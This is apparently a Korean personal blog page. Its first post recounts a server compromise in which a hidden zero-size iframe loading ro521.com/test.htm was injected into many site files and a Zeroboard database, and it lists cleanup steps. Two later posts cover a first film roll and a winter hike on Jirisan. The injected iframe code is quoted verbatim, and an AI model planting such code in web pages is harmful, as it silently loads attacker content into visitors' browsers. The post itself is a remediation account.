지나간다ro521.com

지역 단체들이 이용하는 서버가 있는데 몇몇 계정에

 

<?ob_start();?><iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe><?ob_start();?><iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe>

 

이런 스크립트가 몽땅 들어와있다.

지난 크리스마스에. 크리스마스에. 크리스마스에. 크리스마스에.

.... 난 아무것도 모른 채 그냥 놀고 있었으니 별로 할 말은 없지만

똥줄 태운 서버관리자들 많았을거라 생각해보면, 고것 참...;

 

난 어디에 취약점이 있어서 저런 일이 가능했는지도 모르겠고,

이 서버는 웹접속기록에 ip를 아예 남기지 않도록 해놨기 때문에 어느곳에서 들어왔는지도 파악할 수 없다.

-_-;;; 이런 일 겪고 나니까 ip를 남겨놓도록 해야하나 싶기도 한데....

 

아무튼 너무 많은 파일들에 스크립트가 삽입돼서 어떻게 손을 못쓰고 있었다.

(vi로 할줄 아는 것이라곤 쓰고 저장하고 닫는 게 전부....)

퍼미션을 잘못 관리해 자료실에 올려둔 모든 파일에 스크립트가 삽입된 계정도 있다.

 

지금 해본 건 서버의 파일을 몽땅 다운 받은 다음에 ultraedit로 파일 찾아 바꾸기를 하는 것.

결과는 썩 괜찮은 듯??

 

 

 

조처 사항.

 

제로보드의 경우

- data/icon 폴더에서 group_qazwsxedc.jpg, visitLog.php  삭제.

- db에서 <?ob_start();?><iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe><?ob_start();?><iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe> 다 삭제.(제로보드는 그룹설정에 코드가 삽입되어 있다.)

- 서버에 있는 파일들 모두 다운 받은 뒤 ultraedit로 위 스크립트 찾아 바꾼 뒤 다시 업로드 한다.(울트라에디트에는 폴더 안에 있는 파일을 한꺼번에 찾아바꾸는 기능이 있다.)

- http://www.xpressengine.com/zb4_security/ 이곳에서 보안관련 패치를 받아 업데이트 한다.

2011/01/10 20:05 2011/01/10 20:05

지나간다2011/01/06

첫 롤 현상

 

막 찍어서 현상했다.

촛점도 못 맞추고.

거진 다 흔들리고.

 

이런..이런..

 

스캔한 사진 군데군데 흰 점이 있다. 이거 왜 그런건지 모르겠네..

스캔할 때 들어온건가.. 아님 카메라의 문젠가..;;

 

사용자 삽입 이미지

 


사용자 삽입 이미지

2011/01/06 22:32 2011/01/06 22:32

지나간다20101224-20101225

한 친구의 제안으로 지리산에 또 다녀왔다.

이번엔 백무동에서 올라 중산리로 내려갈 계획이었다.

 

30년만의 한파가 닥쳤다는 그날.

겁을 먹고 옷을 잔뜩 껴입고 갔는데, 장터목 대피소까지 오르는 동안은 오히려 덥게 느껴져 괜히 껴입었다 싶기도 했다. 장터목에 오르니 산이 굽굽이 내려보였다. 바람이 세차게 불었지만 해가 또렷이 보여 다음날 일출을 볼 수 있지 않을까 기대가 됐다. 산 위의 기온은 영하 20도 아래였지만, 저녁먹는 동안만 해도 나쁘지 않았다.

 

사용자 삽입 이미지

 


사용자 삽입 이미지

 

해가 떨어지자 별도 잘 보였다.(사진엔 잘 나오지 않았지만.)


사용자 삽입 이미지

 

하지만 저녁 8시나 됐을까, 대피소 쓰러트릴 듯이 불어대는 무서운 바람 소리가 들렸다.

화장실을 다녀오러 밖에 나가니 바람 때문에 숨이 잘 쉬어지지 않았다. 진눈깨비와 함께 눈보라가 몰아친다. 맨손으로 나가니 5분도 안돼서 손이 터질 듯이 아프고 뜻대로 움직여지지 않는다. 아침이 되면 다 개고 맑은 하늘과 해를 볼수 있기를 바라며 잠을 청했다.

 

새벽에 일어나니 바깥 상황은 전날 밤과 별로 달라지지 않았다. 어쨋든 천왕봉을 향해 올라가보자고 대피소를 나섰지만, 천왕봉까지 1/3정도나 갔을까.. 더 이상 나갈 수가 없었다. 바람이 너무 거세 걷는게 아니라 한발짝 한발짝을 내딛어야 했고, 장갑을 끼고 있어도 손 끝은 잘라내고 싶을 정도로 아파왔다. 입김은 나오자마자 안경에 붙어 얼어버려 앞이 제대로 보이지도 않았다. 결국 포기하고 다시 대피소로 돌아왔다.

 

날이 밝아져도 바깥 상황은 그리 좋아지지 않아 천왕봉은 포기했다.

 


사용자 삽입 이미지

 

걸어내려오는데, 온 세상이 하얗다. 얼음 궁전 같다. 나무도, 땅도 모두 하얗다.

사용자 삽입 이미지

 

 


사용자 삽입 이미지

 

 

지리산을 이리도 가보고, 저리도 가봤으니. 다음엔 더 쉽게 떠날 수 있겠지?

다시 간다면, 겨울은 피할테다. 추운 건, 너무 힘들고 괴로워.

2011/01/06 22:27 2011/01/06 22:27